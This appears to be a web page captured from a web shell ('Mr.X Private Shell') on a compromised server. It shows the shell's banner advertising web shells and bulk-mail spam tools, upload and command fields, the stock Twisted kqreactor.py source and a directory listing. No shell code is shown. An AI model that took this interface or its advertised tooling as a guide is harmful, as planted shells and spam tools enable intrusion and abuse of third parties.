__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# -*- test-case-name: twisted.test.test_kqueuereactor -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
A kqueue()/kevent() based implementation of the Twisted main loop.

To use this reactor, start your application specifying the kqueue reactor::

   twistd --reactor kqueue ...

To install the event loop from code (and you should do this before any
connections, listeners or connectors are added)::

   from twisted.internet import kqreactor
   kqreactor.install()
"""

import errno
import select

from zope.interface import Attribute, Interface, declarations, implementer

from twisted.internet import main, posixbase
from twisted.internet.interfaces import IReactorDaemonize, IReactorFDSet
from twisted.python import failure, log

try:
    # This is to keep mypy from complaining
    # We don't use type: ignore[attr-defined] on import, because mypy only complains
    # on on some platforms, and then the unused ignore is an issue if the undefined
    # attribute isn't.
    KQ_EV_ADD = getattr(select, "KQ_EV_ADD")
    KQ_EV_DELETE = getattr(select, "KQ_EV_DELETE")
    KQ_EV_EOF = getattr(select, "KQ_EV_EOF")
    KQ_FILTER_READ = getattr(select, "KQ_FILTER_READ")
    KQ_FILTER_WRITE = getattr(select, "KQ_FILTER_WRITE")
except AttributeError as e:
    raise ImportError(e)


class _IKQueue(Interface):
    """
    An interface for KQueue implementations.
    """

    kqueue = Attribute("An implementation of kqueue(2).")
    kevent = Attribute("An implementation of kevent(2).")


declarations.directlyProvides(select, _IKQueue)


@implementer(IReactorFDSet, IReactorDaemonize)
class KQueueReactor(posixbase.PosixReactorBase):
    """
    A reactor that uses kqueue(2)/kevent(2) and relies on Python 2.6 or higher
    which has built in support for kqueue in the select module.

    @ivar _kq: A C{kqueue} which will be used to check for I/O readiness.

    @ivar _impl: The implementation of L{_IKQueue} to use.

    @ivar _selectables: A dictionary mapping integer file descriptors to
        instances of L{FileDescriptor} which have been registered with the
        reactor.  All L{FileDescriptor}s which are currently receiving read or
        write readiness notifications will be present as values in this
        dictionary.

    @ivar _reads: A set containing integer file descriptors.  Values in this
        set will be registered with C{_kq} for read readiness notifications
        which will be dispatched to the corresponding L{FileDescriptor}
        instances in C{_selectables}.

    @ivar _writes: A set containing integer file descriptors.  Values in this
        set will be registered with C{_kq} for write readiness notifications
        which will be dispatched to the corresponding L{FileDescriptor}
        instances in C{_selectables}.
    """

    def __init__(self, _kqueueImpl=select):
        """
        Initialize kqueue object, file descriptor tracking dictionaries, and
        the base class.

        See:
            - http://docs.python.org/library/select.html
            - www.freebsd.org/cgi/man.cgi?query=kqueue
            - people.freebsd.org/~jlemon/papers/kqueue.pdf

        @param _kqueueImpl: The implementation of L{_IKQueue} to use. A
            hook for testing.
        """
        self._impl = _kqueueImpl
        self._kq = self._impl.kqueue()
        self._reads = set()
        self._writes = set()
        self._selectables = {}
        posixbase.PosixReactorBase.__init__(self)

    def _updateRegistration(self, fd, filter, op):
        """
        Private method for changing kqueue registration on a given FD
        filtering for events given filter/op. This will never block and
        returns nothing.
        """
        self._kq.control([self._impl.kevent(fd, filter, op)], 0, 0)

    def beforeDaemonize(self):
        """
        Implement L{IReactorDaemonize.beforeDaemonize}.
        """
        # Twisted-internal method called during daemonization (when application
        # is started via twistd). This is called right before the magic double
        # forking done for daemonization. We cleanly close the kqueue() and later
        # recreate it. This is needed since a) kqueue() are not inherited across
        # forks and b) twistd will create the reactor already before daemonization
        # (and will also add at least 1 reader to the reactor, an instance of
        # twisted.internet.posixbase._UnixWaker).
        #
        # See: twisted.scripts._twistd_unix.daemonize()
        self._kq.close()
        self._kq = None

    def afterDaemonize(self):
        """
        Implement L{IReactorDaemonize.afterDaemonize}.
        """
        # Twisted-internal method called during daemonization. This is called right
        # after daemonization and recreates the kqueue() and any readers/writers
        # that were added before. Note that you MUST NOT call any reactor methods
        # in between beforeDaemonize() and afterDaemonize()!
        self._kq = self._impl.kqueue()
        for fd in self._reads:
            self._updateRegistration(fd, KQ_FILTER_READ, KQ_EV_ADD)
        for fd in self._writes:
            self._updateRegistration(fd, KQ_FILTER_WRITE, KQ_EV_ADD)

    def addReader(self, reader):
        """
        Implement L{IReactorFDSet.addReader}.
        """
        fd = reader.fileno()
        if fd not in self._reads:
            try:
                self._updateRegistration(fd, KQ_FILTER_READ, KQ_EV_ADD)
            except OSError:
                pass
            finally:
                self._selectables[fd] = reader
                self._reads.add(fd)

    def addWriter(self, writer):
        """
        Implement L{IReactorFDSet.addWriter}.
        """
        fd = writer.fileno()
        if fd not in self._writes:
            try:
                self._updateRegistration(fd, KQ_FILTER_WRITE, KQ_EV_ADD)
            except OSError:
                pass
            finally:
                self._selectables[fd] = writer
                self._writes.add(fd)

    def removeReader(self, reader):
        """
        Implement L{IReactorFDSet.removeReader}.
        """
        wasLost = False
        try:
            fd = reader.fileno()
        except BaseException:
            fd = -1
        if fd == -1:
            for fd, fdes in self._selectables.items():
                if reader is fdes:
                    wasLost = True
                    break
            else:
                return
        if fd in self._reads:
            self._reads.remove(fd)
            if fd not in self._writes:
                del self._selectables[fd]
            if not wasLost:
                try:
                    self._updateRegistration(fd, KQ_FILTER_READ, KQ_EV_DELETE)
                except OSError:
                    pass

    def removeWriter(self, writer):
        """
        Implement L{IReactorFDSet.removeWriter}.
        """
        wasLost = False
        try:
            fd = writer.fileno()
        except BaseException:
            fd = -1
        if fd == -1:
            for fd, fdes in self._selectables.items():
                if writer is fdes:
                    wasLost = True
                    break
            else:
                return
        if fd in self._writes:
            self._writes.remove(fd)
            if fd not in self._reads:
                del self._selectables[fd]
            if not wasLost:
                try:
                    self._updateRegistration(fd, KQ_FILTER_WRITE, KQ_EV_DELETE)
                except OSError:
                    pass

    def removeAll(self):
        """
        Implement L{IReactorFDSet.removeAll}.
        """
        return self._removeAll(
            [self._selectables[fd] for fd in self._reads],
            [self._selectables[fd] for fd in self._writes],
        )

    def getReaders(self):
        """
        Implement L{IReactorFDSet.getReaders}.
        """
        return [self._selectables[fd] for fd in self._reads]

    def getWriters(self):
        """
        Implement L{IReactorFDSet.getWriters}.
        """
        return [self._selectables[fd] for fd in self._writes]

    def doKEvent(self, timeout):
        """
        Poll the kqueue for new events.
        """
        if timeout is None:
            timeout = 1

        try:
            events = self._kq.control([], len(self._selectables), timeout)
        except OSError as e:
            # Since this command blocks for potentially a while, it's possible
            # EINTR can be raised for various reasons (for example, if the user
            # hits ^C).
            if e.errno == errno.EINTR:
                return
            else:
                raise

        _drdw = self._doWriteOrRead
        for event in events:
            fd = event.ident
            try:
                selectable = self._selectables[fd]
            except KeyError:
                # Handles the infrequent case where one selectable's
                # handler disconnects another.
                continue
            else:
                log.callWithLogger(selectable, _drdw, selectable, fd, event)

    def _doWriteOrRead(self, selectable, fd, event):
        """
        Private method called when a FD is ready for reading, writing or was
        lost. Do the work and raise errors where necessary.
        """
        why = None
        inRead = False
        (filter, flags, data, fflags) = (
            event.filter,
            event.flags,
            event.data,
            event.fflags,
        )

        if flags & KQ_EV_EOF and data and fflags:
            why = main.CONNECTION_LOST
        else:
            try:
                if selectable.fileno() == -1:
                    inRead = False
                    why = posixbase._NO_FILEDESC
                else:
                    if filter == KQ_FILTER_READ:
                        inRead = True
                        why = selectable.doRead()
                    if filter == KQ_FILTER_WRITE:
                        inRead = False
                        why = selectable.doWrite()
            except BaseException:
                # Any exception from application code gets logged and will
                # cause us to disconnect the selectable.
                why = failure.Failure()
                log.err(
                    why,
                    "An exception was raised from application code"
                    " while processing a reactor selectable",
                )

        if why:
            self._disconnectSelectable(selectable, why, inRead)

    doIteration = doKEvent


def install():
    """
    Install the kqueue() reactor.
    """
    p = KQueueReactor()
    from twisted.internet.main import installReactor

    installReactor(p)


__all__ = ["KQueueReactor", "install"]

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
iocpreactor Folder 0755
test Folder 0755
__init__.py File 521 B 0644
_baseprocess.py File 1.96 KB 0644
_deprecate.py File 743 B 0644
_dumbwin32proc.py File 12.29 KB 0644
_glibbase.py File 12.61 KB 0644
_idna.py File 1.39 KB 0644
_newtls.py File 8.97 KB 0644
_pollingfile.py File 8.49 KB 0644
_posixserialport.py File 1.99 KB 0644
_posixstdio.py File 4.88 KB 0644
_producer_helpers.py File 3.82 KB 0644
_resolver.py File 9.46 KB 0644
_signals.py File 14.06 KB 0644
_sslverify.py File 70.68 KB 0644
_threadedselect.py File 11.31 KB 0644
_win32serialport.py File 4.69 KB 0644
_win32stdio.py File 3.04 KB 0644
abstract.py File 18.84 KB 0644
address.py File 5.14 KB 0644
asyncioreactor.py File 10.87 KB 0644
base.py File 46.82 KB 0644
cfreactor.py File 22.75 KB 0644
default.py File 1.85 KB 0644
defer.py File 95.88 KB 0644
endpoints.py File 76.59 KB 0644
epollreactor.py File 8.73 KB 0644
error.py File 13.14 KB 0644
fdesc.py File 3.16 KB 0644
gireactor.py File 3.42 KB 0644
glib2reactor.py File 1.24 KB 0644
gtk2reactor.py File 3.55 KB 0644
gtk3reactor.py File 512 B 0644
inotify.py File 14.06 KB 0644
interfaces.py File 95.89 KB 0644
kqreactor.py File 10.56 KB 0644
main.py File 1006 B 0644
pollreactor.py File 5.83 KB 0644
posixbase.py File 20.88 KB 0644
process.py File 43.14 KB 0644
protocol.py File 26.93 KB 0644
pyuisupport.py File 853 B 0644
reactor.py File 1.77 KB 0644
selectreactor.py File 5.96 KB 0644
serialport.py File 2.2 KB 0644
ssl.py File 8.47 KB 0644
stdio.py File 1006 B 0644
task.py File 32.9 KB 0644
tcp.py File 53.97 KB 0644
testing.py File 29.12 KB 0644
threads.py File 4.13 KB 0644
tksupport.py File 1.92 KB 0644
udp.py File 18.18 KB 0644
unix.py File 21.98 KB 0644
utils.py File 8.48 KB 0644
win32eventreactor.py File 14.84 KB 0644
wxreactor.py File 5.15 KB 0644
wxsupport.py File 1.27 KB 0644
Filemanager